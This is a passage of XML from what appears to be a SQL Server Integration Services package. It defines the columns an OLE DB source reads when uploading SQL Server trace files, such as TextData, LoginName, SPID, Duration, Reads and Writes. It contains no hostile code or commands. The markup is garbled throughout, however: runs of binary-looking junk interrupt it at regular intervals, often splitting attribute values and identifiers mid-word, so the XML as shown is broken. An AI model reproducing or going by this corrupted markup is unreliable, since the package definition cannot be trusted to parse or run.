Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectType]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectType]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectType]" name="ObjectType" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload t	!!!!!!!!!!!!!!!!!!!!!!!!`2X)'Hvrace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NestLevel]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NestLevel]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NestLevel]" name="NestLevel" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[State]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[State]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[State]" name="State" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Error]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Error]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Error]" name="Error" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Mode]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Mode]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Mode]" name="Mode" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Handle]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Handle]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Handle]" name="Handle" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE D	!!!!!!!!!!!!!!!!!!!!!!!!`2	an
HvB Source Output].Columns[ObjectName]" name="ObjectName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseName]" name="DatabaseName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[FileName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[FileName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[FileName]" name="FileName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerName]" name="OwnerName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RoleName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RoleName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RoleName]" name="RoleName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetUserName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetUserName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetUserName]" name="TargetUserName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DBUserName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition=	!!!!!!!!!!!!!!!!!!!!!!!!`2
5LHv"RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DBUserName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DBUserName]" name="DBUserName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginSid]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginSid]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginSid]" name="LoginSid" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginName]" name="TargetLoginName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginSid]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginSid]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginSid]" name="TargetLoginSid" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ColumnPermissions]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ColumnPermissions]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ColumnPermissions]" name="ColumnPermissions" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LinkedServerName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LinkedServerName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace f	!!!!!!!!!!!!!!!!!!!!!!!!`2Hvile\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LinkedServerName]" name="LinkedServerName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ProviderName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ProviderName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ProviderName]" name="ProviderName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[MethodName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[MethodName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[MethodName]" name="MethodName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RowCounts]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RowCounts]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RowCounts]" name="RowCounts" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RequestID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RequestID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RequestID]" name="RequestID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[XactSequence]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[XactSequence]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[XactSequence]" name="XactSequence" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDispos	!!!!!!!!!!!!!!!!!!!!!!!!`2|OeHvition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventSequence]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]" name="EventSequence" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData1]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData1]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData1]" name="BigintData1" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData2]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData2]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData2]" name="BigintData2" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GUID]" dataType="guid" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GUID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GUID]" name="GUID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData2]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData2]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData2]" name="IntegerData2" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID2]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID2]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID2]" name="ObjectID2" truncationRowDispositi	!!!!!!!!!!!!!!!!!!!!!!!!`2-}3Hvon="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Type]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Type]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Type]" name="Type" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerID]" name="OwnerID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ParentName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ParentName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ParentName]" name="ParentName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IsSystem]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IsSystem]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IsSystem]" name="IsSystem" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Offset]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Offset]" name="Offset" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SourceDatabaseID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalCol	!!!!!!!!!!!!!!!!!!!!!!!!`2u8
Hvumns[SourceDatabaseID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SourceDatabaseID]" name="SourceDatabaseID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SqlHandle]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]" name="SqlHandle" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SessionLoginName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SessionLoginName]" length="256" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SessionLoginName]" name="SessionLoginName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[PlanHandle]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]" name="PlanHandle" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GroupID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GroupID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GroupID]" name="GroupID" truncationRowDisposition="FailComponent"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TextData]" dataType="nText" name="TextData"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BinaryData]" dataType="image" name="BinaryData"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseID]" dataType="i4" name="DatabaseID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each 	!!!!!!!!!!!!!!!!!!!!!!!!`2x[DHvtrace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TransactionID]" dataType="i8" name="TransactionID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LineNumber]" dataType="i4" name="LineNumber"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NTUserName]" dataType="wstr" length="256" name="NTUserName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NTDomainName]" dataType="wstr" length="256" name="NTDomainName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[HostName]" dataType="wstr" length="256" name="HostName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ClientProcessID]" dataType="i4" name="ClientProcessID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ApplicationName]" dataType="wstr" length="256" name="ApplicationName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginName]" dataType="wstr" length="256" name="LoginName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SPID]" dataType="i4" name="SPID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Duration]" dataType="i8" name="Duration"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[StartTime]" dataType="dbTimeStamp" name="StartTime"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EndTime]" dataType="dbTimeStamp" name="EndTime"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Reads]" dataType="i8" name="Reads"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Writes]" dataType="i8" name="Writes"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[CPU]" dataType="i4" name="CPU"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Permissions]" dataType="i8" name="Permissions"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColu	!!!!!!!!!!!!!!!!!!!!!!!!`2	GHvmns[Severity]" dataType="i4" name="Severity"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventSubClass]" dataType="i4" name="EventSubClass"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID]" dataType="i4" name="ObjectID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Success]" 